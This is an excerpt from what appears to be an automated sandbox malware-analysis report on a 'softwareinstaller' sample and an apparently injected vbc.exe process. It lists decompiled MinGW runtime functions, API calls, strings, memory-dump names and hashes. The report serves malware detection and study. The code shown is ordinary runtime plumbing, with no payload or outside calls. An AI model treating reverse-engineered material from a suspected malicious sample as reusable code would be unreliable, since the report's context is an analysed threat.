Instruction Fuzzy Hash: 0FE04F73214A509BC7319E59C844C97F7E8EB997B0B594825ED5597621D230FC02DBF0

Uniqueness

Uniqueness Score: -1.00%

Function 00D35940 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 131
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 00D3596F
vfprintf.MSVCRT ref: 00D3598F
abort.MSVCRT ref: 00D35994
VirtualQuery.KERNEL32 ref: 00D35A2D
VirtualProtect.KERNEL32 ref: 00D35A93
GetLastError.KERNEL32 ref: 00D35AA0

Strings

Mingw-w64 runtime failure:, xrefs: 00D35968
VirtualQuery failed for %d bytes at address %p, xrefs: 00D35AD7
VirtualProtect failed with code 0x%x, xrefs: 00D35AA6
Address %p has no image-section, xrefs: 00D35AEB

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: Virtual$ErrorLastProtectQueryabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1616349570-1534286854
Opcode ID: 6fc2b72d07b36754623ff0a2f4cfadd9115d3593065ea3538960550827f44fbc
Instruction ID: 7c5d2e99f09e6eef17c488b20a1a1ef1b81150664bc572a928905b3b9f7e98a0
Opcode Fuzzy Hash: 6fc2b72d07b36754623ff0a2f4cfadd9115d3593065ea3538960550827f44fbc
Instruction Fuzzy Hash: 1E5158B19047019FC710EF28E885A1AFBE1FF84355F458A2DE8998B355E334E845CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D35E30 Relevance: 12.1, APIs: 8, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00D35E30(signed int** _a4) {
				intOrPtr _v24;
				signed int** _t25;
				intOrPtr* _t26;

				_t26 =  &_v24;
				_t25 = _a4;
				_t12 =  *( *_t25);
				if(_t12 <= 0xc0000091) {
					if(_t12 >= 0xc000008d) {
						L20:
						_v24 = 0;
						 *_t26 = 8;
						L00D36700();
						if(_t12 != 1) {
							L18:
							if(_t12 == 0) {
								L4:
								_t12 =  *0xd5d074;
								if( *0xd5d074 == 0) {
									return 0;
								}
								_a4 = _t25;
								_t26 = _t26 + 0x18;
								_pop(_t25);
								goto __eax;
							}
							 *_t26 = 8;
							 *_t12();
							return 0xffffffff;
						}
						_v24 = 1;
						 *_t26 = 8;
						L00D36700();
						E00D35930(_t12);
						return 0xffffffff;
					}
					if(_t12 != 0xc0000005) {
						if(_t12 != 0xc000001d) {
							goto L4;
						}
						L12:
						_v24 = 0;
						 *_t26 = 4;
						L00D36700();
						if(_t12 == 1) {
							_v24 = 1;
							 *_t26 = 4;
							L00D36700();
							return _t12 | 0xffffffff;
						}
						if(_t12 == 0) {
							goto L4;
						}
						 *_t26 = 4;
						 *_t12();
						return 0xffffffff;
					}
					_v24 = 0;
					 *_t26 = 0xb;
					L00D36700();
					if(_t12 == 1) {
						_v24 = 1;
						 *_t26 = 0xb;
						L00D36700();
						return _t12 | 0xffffffff;
					}
					if(_t12 == 0) {
						goto L4;
					}
					 *_t26 = 0xb;
					 *_t12();
					return 0xffffffff;
				}
				if(_t12 == 0xc0000094) {
					_v24 = 0;
					 *_t26 = 8;
					L00D36700();
					if(_t12 == 1) {
						_v24 = 1;
						 *_t26 = 8;
						L00D36700();
						return 0xffffffff;
					}
					goto L18;
				}
				if(_t12 == 0xc0000096) {
					goto L12;
				}
				if(_t12 == 0xc0000093) {
					goto L20;
				}
				goto L4;
			}

0x00d35e31
0x00d35e34
0x00d35e3a
0x00d35e41
0x00d35e85
0x00d35f41
0x00d35f41
0x00d35f49
0x00d35f50
0x00d35f58
0x00d35f29
0x00d35f2b
0x00d35e60
0x00d35e60
0x00d35e67
0x00000000
0x00d35f00
0x00d35e6d
0x00d35e71
0x00d35e74
0x00d35e75
0x00d35e75
0x00d35f31
0x00d35f38
0x00000000
0x00d35f3a
0x00d35f5a
0x00d35f62
0x00d35f69
0x00d35f6e
0x00000000
0x00d35f73
0x00d35e90
0x00d35ec8
0x00000000
0x00000000
0x00d35eca
0x00d35eca
0x00d35ed2
0x00d35ed9
0x00d35ee1
0x00d35f9e
0x00d35fa6
0x00d35fad
0x00000000
0x00d35fb2
0x00d35ee9
0x00000000
0x00000000
0x00d35eef
0x00d35ef6
0x00000000
0x00d35ef8
0x00d35e92
0x00d35e9a
0x00d35ea1
0x00d35ea9
0x00d35fba
0x00d35fc2
0x00d35fc9
0x00000000
0x00d35fce
0x00d35eb1
0x00000000
0x00000000
0x00d35eb3
0x00d35eba
0x00000000
0x00d35ebc
0x00d35e48
0x00d35f10
0x00d35f18
0x00d35f1f
0x00d35f27
0x00d35f80
0x00d35f88
0x00d35f8f
0x00000000
0x00d35f94
0x00000000
0x00d35f27
0x00d35e53
0x00000000
0x00000000
0x00d35e5a
0x00000000
0x00000000
0x00000000

APIs

signal.MSVCRT ref: 00D35EA1
signal.MSVCRT ref: 00D35ED9
signal.MSVCRT ref: 00D35F1F
signal.MSVCRT ref: 00D35F50
signal.MSVCRT ref: 00D35F69

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: c8ef4adc5a6ad7634ccb615b3203aab5d8dcdddac289bdf982c2234022bd5201
Instruction ID: 13dae31c0fbbb60f19505dcc6972168fd3289d520b6944d387e3d4631865fbf2
Opcode Fuzzy Hash: c8ef4adc5a6ad7634ccb615b3203aab5d8dcdddac289bdf982c2234022bd5201
Instruction Fuzzy Hash: 2B310CB0108A009AE7206F78E54532A77D4BF45338F698B09F4E4CB2D5CBB9C9849B73

Uniqueness

Uniqueness Score: -1.00%

Function 00D35B00 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00D35B00(signed char* __ebx, void* __edi, signed int __esi) {
				void* _v16;
				char _v32;
				intOrPtr _v48;
				intOrPtr _v52;
				signed int _v56;
				void* _v57;
				signed int _v60;
				long long _v64;
				void* _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				signed int _v88;
				long long _v112;
				long long _v120;
				long long _v128;
				signed int _v132;
				char _v136;
				signed int _t66;
				void* _t72;
				int _t79;
				signed int _t82;
				signed int _t83;
				intOrPtr _t84;
				signed char _t85;
				signed int _t98;
				intOrPtr _t104;
				signed int _t107;
				signed int _t109;
				signed int* _t117;
				signed int _t118;
				signed int* _t120;
				signed int _t123;
				intOrPtr _t124;
				char* _t125;
				signed int _t127;
				signed int _t128;
				signed int _t131;
				void* _t140;
				void* _t141;
				char** _t142;
				intOrPtr* _t145;
				long long _t150;

				_t121 = __esi;
				_t96 = __ebx;
				_push(__edi);
				_push(__esi);
				_push(__ebx);
				_t141 = _t140 - 0x4c;
				_t66 =  *0xd5d060;
				_v56 = _t66;
				if(_t66 == 0) {
					 *0xd5d060 = 1;
					_t72 = E00D36610(0x1b + (E00D36420() + _t67 * 4) * 4 >> 4 << 4);
					 *0xd5d064 = 0;
					_t142 = _t141 - _t72;
					 *0xd5d068 =  &_v57 & 0xfffffff0;
					_t66 = 0;
					__eflags = 0xd5b10c - 7;
					if(0xd5b10c <= 7) {
						goto L1;
					} else {
						_t107 =  *0xd5b10c; // 0x0
						__eflags = 0xd5b10c - 0xb;
						if(0xd5b10c > 0xb) {
							L16:
							__eflags = _t107;
							if(_t107 != 0) {
								_t117 = 0xd5b10c;
								goto L38;
							} else {
								_t66 =  *0xd5b110; // 0x0
								__eflags = _t66 |  *0xd5b114;
								if((_t66 |  *0xd5b114) != 0) {
									_t117 = 0xd5b10c;
									goto L7;
								} else {
									_t107 =  *0xd5b118; // 0x0
									_t117 = 0xd5b118;
									goto L5;
								}
							}
						} else {
							_t117 = 0xd5b10c;
							L5:
							__eflags = _t107;
							if(_t107 != 0) {
								L38:
								__eflags = _t117 - 0xd5b10c;
								if(_t117 >= 0xd5b10c) {
									goto L1;
								} else {
									do {
										_t50 =  &(_t117[1]); // 0x0
										_t98 =  *_t50;
										_t123 =  *_t117;
										_t117 =  &(_t117[2]);
										_t51 = _t98 + 0xd30000; // 0x905a4d
										_t124 = _t123 +  *_t51;
										_t52 = _t98 + 0xd30000; // 0xd30000
										E00D359A0(_t52, _t98, _t117, _t124);
										 *((intOrPtr*)(_t98 + 0xd30000)) = _t124;
										__eflags = _t117 - 0xd5b10c;
									} while (_t117 < 0xd5b10c);
									goto L26;
								}
							} else {
								_t8 =  &(_t117[1]); // 0x0
								_t66 =  *_t8;
								L7:
								__eflags = _t66;
								if(_t66 != 0) {
									goto L38;
								} else {
									_t9 =  &(_t117[2]); // 0x0
									_t66 =  *_t9;
									__eflags = _t66 - 1;
									if(__eflags != 0) {
										_v88 = _t66;
										 *_t142 = "  Unknown pseudo relocation protocol version %d.\n";
										E00D35940(_t96, _t117, _t121, __eflags);
										_t145 = _t142 - 0x3c;
										_t82 =  *0xd5d06c;
										_t150 = _v64;
										__eflags = _t82;
										if(_t82 == 0) {
											st0 = _t150;
											st0 = _t150;
											st0 = _t150;
										} else {
											asm("fxch st0, st2");
											_v128 = _t150;
											_v120 = _t150;
											_v136 = _v88;
											_v112 = _t150;
											_v132 = _v84;
											 *_t145 =  &_v136;
											_t82 =  *_t82();
										}
										return _t82;
									} else {
										_t120 =  &(_t117[3]);
										__eflags = _t120 - 0xd5b10c;
										if(_t120 >= 0xd5b10c) {
											goto L1;
										} else {
											do {
												_t83 =  *_t120;
												_t10 =  &(_t120[1]); // 0x0
												_t107 =  *_t10;
												_t11 = _t83 + 0xd30000; // 0xd30000
												_t12 = _t83 + 0xd30000; // 0x905a4d
												_t84 =  *_t12;
												_t13 = _t107 + 0xd30000; // 0xd30000
												_t96 = _t13;
												_v48 = _t11;
												_v52 = _t84;
												_t104 = _t84;
												_t16 =  &(_t120[2]); // 0x0
												_t85 =  *_t16;
												_t127 = _t85 & 0x000000ff;
												_v60 = _t127;
												__eflags = _t127 - 0x10;
												if(_t127 == 0x10) {
													L21:
													_t30 = _t107 + 0xd30000; // 0x905a4d
													_t128 =  *_t30 & 0x0000ffff;
													__eflags = _t128;
													_t129 =  <  ? _t128 | 0xffff0000 : _t128;
													_t130 = ( <  ? _t128 | 0xffff0000 : _t128) - _v48;
													_t121 = ( <  ? _t128 | 0xffff0000 : _t128) - _v48 + _v52;
													__eflags = _t85 & 0x000000e0;
													if((_t85 & 0x000000e0) != 0) {
														L24:
														E00D359A0(_t96, _t96, _t120, _t121);
														 *_t96 = _t121;
														goto L25;
													} else {
														__eflags = _t121 - 0xffff8000;
														if(__eflags < 0) {
															goto L15;
														} else {
															__eflags = _t121 - 0xffff;
															if(__eflags > 0) {
																goto L15;
															} else {
																goto L24;
															}
														}
													}
												} else {
													__eflags = _t127 - 0x20;
													if(_t127 != 0x20) {
														__eflags = _t127 - 8;
														if(__eflags == 0) {
															_t131 =  *_t96 & 0x000000ff;
															_t107 = _t131 | 0xffffff00;
															__eflags =  *_t96;
															_t132 =  <  ? _t107 : _t131;
															_t133 = ( <  ? _t107 : _t131) - _v48;
															_t121 = ( <  ? _t107 : _t131) - _v48 + _t104;
															__eflags = _t85 & 0x000000e0;
															if((_t85 & 0x000000e0) != 0) {
																L35:
																E00D359A0(_t96, _t96, _t120, _t121);
																 *_t96 = _t121;
																goto L25;
															} else {
																__eflags = _t121 - 0xffffff80;
																if(__eflags < 0) {
																	goto L15;
																} else {
																	__eflags = _t121 - 0xff;
																	if(__eflags > 0) {
																		goto L15;
																	} else {
																		goto L35;
																	}
																}
															}
														} else {
															 *_t142 = "  Unknown pseudo relocation bit size %d.\n";
															_v88 = _v60;
															_t85 = E00D35940(_t96, _t120, _t127, __eflags);
															goto L21;
														}
													} else {
														_t121 = _v52 - _v48 +  *_t96;
														__eflags = _t85 & 0x000000e0;
														if((_t85 & 0x000000e0) != 0) {
															L36:
															E00D359A0(_t96, _t96, _t120, _t121);
															 *_t96 = _t121;
															goto L25;
														} else {
															__eflags = _t121;
															if(__eflags < 0) {
																goto L36;
															} else {
																L15:
																_v76 = _t121;
																_v84 = _t96;
																_v80 = _v52;
																 *_t142 = "%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.\n";
																_v88 = _v60;
																_t66 = E00D35940(_t96, _t120, _t121, __eflags);
																goto L16;
															}
														}
													}
												}
												goto L46;
												L25:
												_t120 =  &(_t120[3]);
												__eflags = _t120 - 0xd5b10c;
											} while (_t120 < 0xd5b10c);
											L26:
											_t66 =  *0xd5d064;
											__eflags = _t66;
											if(_t66 <= 0) {
												goto L1;
											} else {
												_t118 = _v56;
												_t125 =  &_v32;
												do {
													_t79 =  *0xd5d068 + (_t118 + _t118 * 4) * 4;
													_t109 =  *_t79;
													__eflags = _t109;
													if(_t109 != 0) {
														_v80 = _t125;
														_v84 = _t109;
														_v88 =  *(_t79 + 8);
														 *_t142 =  *(_t79 + 4);
														_t79 = VirtualProtect(??, ??, ??, ??);
														_t142 = _t142 - 0x10;
													}
													_t118 = _t118 + 1;
													__eflags = _t118 -  *0xd5d064;
												} while (_t118 <  *0xd5d064);
												return _t79;
											}
										}
									}
								}
							}
						}
					}
				} else {
					L1:
					return _t66;
				}
				L46:
			}

0x00d35b00
0x00d35b00
0x00d35b03
0x00d35b04
0x00d35b05
0x00d35b06
0x00d35b09
0x00d35b0e
0x00d35b13
0x00d35b20
0x00d35b3f
0x00d35b44
0x00d35b4e
0x00d35b57
0x00d35b61
0x00d35b66
0x00d35b69
0x00000000
0x00d35b6b
0x00d35b6b
0x00d35b71
0x00d35b74
0x00d35c20
0x00d35c20
0x00d35c22
0x00d35d70
0x00000000
0x00d35c28
0x00d35c28
0x00d35c2f
0x00d35c35
0x00d35db0
0x00000000
0x00d35c3b
0x00d35c3b
0x00d35c41
0x00000000
0x00d35c41
0x00d35c35
0x00d35b7a
0x00d35b7a
0x00d35b7f
0x00d35b7f
0x00d35b81
0x00d35d75
0x00d35d75
0x00d35d7b
0x00000000
0x00d35d81
0x00d35d81
0x00d35d81
0x00d35d81
0x00d35d84
0x00d35d86
0x00d35d89
0x00d35d89
0x00d35d8f
0x00d35d95
0x00d35d9a
0x00d35da0
0x00d35da0
0x00000000
0x00d35da8
0x00d35b87
0x00d35b87
0x00d35b87
0x00d35b8a
0x00d35b8a
0x00d35b8c
0x00000000
0x00d35b92
0x00d35b92
0x00d35b92
0x00d35b95
0x00d35b98
0x00d35dba
0x00d35dbe
0x00d35dc5
0x00d35dd0
0x00d35dd3
0x00d35de0
0x00d35de4
0x00d35de6
0x00d35e11
0x00d35e13
0x00d35e15
0x00d35de8
0x00d35de8
0x00d35dee
0x00d35df2
0x00d35df6
0x00d35dfe
0x00d35e02
0x00d35e0a
0x00d35e0d
0x00d35e0d
0x00d35e1a
0x00d35b9e
0x00d35b9e
0x00d35ba1
0x00d35ba7
0x00000000
0x00d35bb0
0x00d35bb0
0x00d35bb0
0x00d35bb2
0x00d35bb2
0x00d35bb5
0x00d35bbb
0x00d35bbb
0x00d35bc1
0x00d35bc1
0x00d35bc7
0x00d35bca
0x00d35bcd
0x00d35bcf
0x00d35bcf
0x00d35bd2
0x00d35bd5
0x00d35bd8
0x00d35bdb
0x00d35c70
0x00d35c70
0x00d35c70
0x00d35c7f
0x00d35c82
0x00d35c85
0x00d35c88
0x00d35c8b
0x00d35c8d
0x00d35ca7
0x00d35ca9
0x00d35cae
0x00000000
0x00d35c8f
0x00d35c8f
0x00d35c95
0x00000000
0x00d35c9b
0x00d35c9b
0x00d35ca1
0x00000000
0x00000000
0x00000000
0x00000000
0x00d35ca1
0x00d35c95
0x00d35be1
0x00d35be1
0x00d35be4
0x00d35c50
0x00d35c53
0x00d35d20
0x00d35d25
0x00d35d2b
0x00d35d2e
0x00d35d31
0x00d35d34
0x00d35d36
0x00d35d38
0x00d35d4f
0x00d35d51
0x00d35d58
0x00000000
0x00d35d3a
0x00d35d3a
0x00d35d3d
0x00000000
0x00d35d43
0x00d35d43
0x00d35d49
0x00000000
0x00000000
0x00000000
0x00000000
0x00d35d49
0x00d35d3d
0x00d35c59
0x00d35c5c
0x00d35c63
0x00d35c67
0x00000000
0x00d35c67
0x00d35be6
0x00d35bec
0x00d35bee
0x00d35bf0
0x00d35d60
0x00d35d62
0x00d35d67
0x00000000
0x00d35bf6
0x00d35bf6
0x00d35bf8
0x00000000
0x00d35bfe
0x00d35bfe
0x00d35c01
0x00d35c05
0x00d35c09
0x00d35c10
0x00d35c17
0x00d35c1b
0x00000000
0x00d35c1b
0x00d35bf8
0x00d35bf0
0x00d35be4
0x00000000
0x00d35cb1
0x00d35cb1
0x00d35cb4
0x00d35cb4
0x00d35cc0
0x00d35cc0
0x00d35cc5
0x00d35cc7
0x00000000
0x00d35ccd
0x00d35cd3
0x00d35cd6
0x00d35ce0
0x00d35ce9
0x00d35cec
0x00d35cee
0x00d35cf0
0x00d35cf2
0x00d35cf6
0x00d35cfd
0x00d35d04
0x00d35d07
0x00d35d09
0x00d35d09
0x00d35d0c
0x00d35d0f
0x00d35d0f
0x00d35d1e
0x00d35d1e
0x00d35cc7
0x00d35ba7
0x00d35b98
0x00d35b8c
0x00d35b81
0x00d35b74
0x00d35b15
0x00d35b15
0x00d35b1c
0x00d35b1c
0x00000000

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00D35DBE
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00D35C10
Unknown pseudo relocation bit size %d., xrefs: 00D35C5C

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: 81f51d0292de83a1f072b36f051d8b733e3898e22b9bf9f6a7bb402eef100286
Instruction ID: 3f5e0c4e06f4d2f64b17df63ece1187263324a6cfa695683cb854558d26230aa
Opcode Fuzzy Hash: 81f51d0292de83a1f072b36f051d8b733e3898e22b9bf9f6a7bb402eef100286
Instruction Fuzzy Hash: A481AF71E04B158BCF10DF28E88065ABBF1FB85361F55896AEC98A7358D730E815CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D31001 Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 00D3106B
__p__fmode.MSVCRT ref: 00D31070
__p__commode.MSVCRT ref: 00D3107D

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: __p__commode__p__fmode__set_app_type
String ID:
API String ID: 3338496922-0
Opcode ID: b0447b1257311c6852ba3616f86f9eafc1ade1e3c7a9de906e067b7ca489b4d7
Instruction ID: 038fb980c813dd0195656a1c5504e1927c4bf1d79bfc55cf6624293fc79db27c
Opcode Fuzzy Hash: b0447b1257311c6852ba3616f86f9eafc1ade1e3c7a9de906e067b7ca489b4d7
Instruction Fuzzy Hash: A0219374504342CBC728AF24D51636937E2BB40345F98C568C858CA79AE77AD8C6DB72

Uniqueness

Uniqueness Score: -1.00%

Function 00D358B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00D3591E

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00D358FF
Unknown error, xrefs: 00D358B2

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: cd2c4aaf1807f1e69e7dc6fce359d112858b9f3ec005c45c5cad3d4d11769bdc
Instruction ID: 91d3d88ff87113d5bfa8b1bcbef61fa8686d745bdfae8a098de299173fb489b9
Opcode Fuzzy Hash: cd2c4aaf1807f1e69e7dc6fce359d112858b9f3ec005c45c5cad3d4d11769bdc
Instruction Fuzzy Hash: 0001C0B0509B55DBD700AF15E48941ABFB1FF89350F86889CF9C846269CB32D8A8C752

Uniqueness

Uniqueness Score: -1.00%

Function 00D35FE0 Relevance: 5.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00D36245,?,?,?,?,?,00D357F8), ref: 00D35FEE
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00D36245,?,?,?,?,?,00D357F8), ref: 00D36015
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00D36245,?,?,?,?,?,00D357F8), ref: 00D3601C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,00D36245,?,?,?,?,?,00D357F8), ref: 00D3603C

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: c784209537172374dddce449ba5e33a8a14d1340b638388a9737a8055096fe70
Instruction ID: 19e57f18b3eddc1a72af3f2a3e08a75c8cc0b95369597eaf89b6e836b92225db
Opcode Fuzzy Hash: c784209537172374dddce449ba5e33a8a14d1340b638388a9737a8055096fe70
Instruction Fuzzy Hash: ADF0A4B56003108BDB247FB8E98591A7BA4AE04352F094068DD848B314EB30E959CBB2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exePID: 3076, Parent PID: 1020COMMON

Executed Functions

Function 0A090040 Relevance: 7.5, Strings: 2, Instructions: 4957COMMON

Download Yara Rule

Strings

DC}k, xrefs: 0A094E33
>5r, xrefs: 0A09004C

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: >5r$DC}k
API String ID: 0-2201290849
Opcode ID: 50e1e2e66116b447175990a00fc8088d246075cdb9c871ed01617481ac9e5405
Instruction ID: d92e54b5318b92e6a1b2cfa06cf26519e2cc1a207349a508ec9c21ceb618e764
Opcode Fuzzy Hash: 50e1e2e66116b447175990a00fc8088d246075cdb9c871ed01617481ac9e5405
Instruction Fuzzy Hash: C4A31D31E50B1AA5EB209B60CC41BD9F371AF96700F20C796B6597B5C0EBB07AD5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0A027EE0 Relevance: 3.3, Strings: 2, Instructions: 784COMMON

Download Yara Rule

Strings

g8, xrefs: 0A0281B0
g8, xrefs: 0A028109

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: g8$g8
API String ID: 0-802266023
Opcode ID: 4ca4183b3f0bfdf0055fb78ccb828dc0dd6779a966940c2ffb9f7c5ef8de4216
Instruction ID: 61c4d9c4ff2f0edd252a97550ba369b0e05e52f17f6510167f9a85f9b9b1c10d
Opcode Fuzzy Hash: 4ca4183b3f0bfdf0055fb78ccb828dc0dd6779a966940c2ffb9f7c5ef8de4216
Instruction Fuzzy Hash: B8624975A002189FDB54DF68C598AADBBF6EF88314F1580A9E906DB361CB34EC45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0A02F180 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

8^~k, xrefs: 0A02F4E1
8^~k, xrefs: 0A02F3F7

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

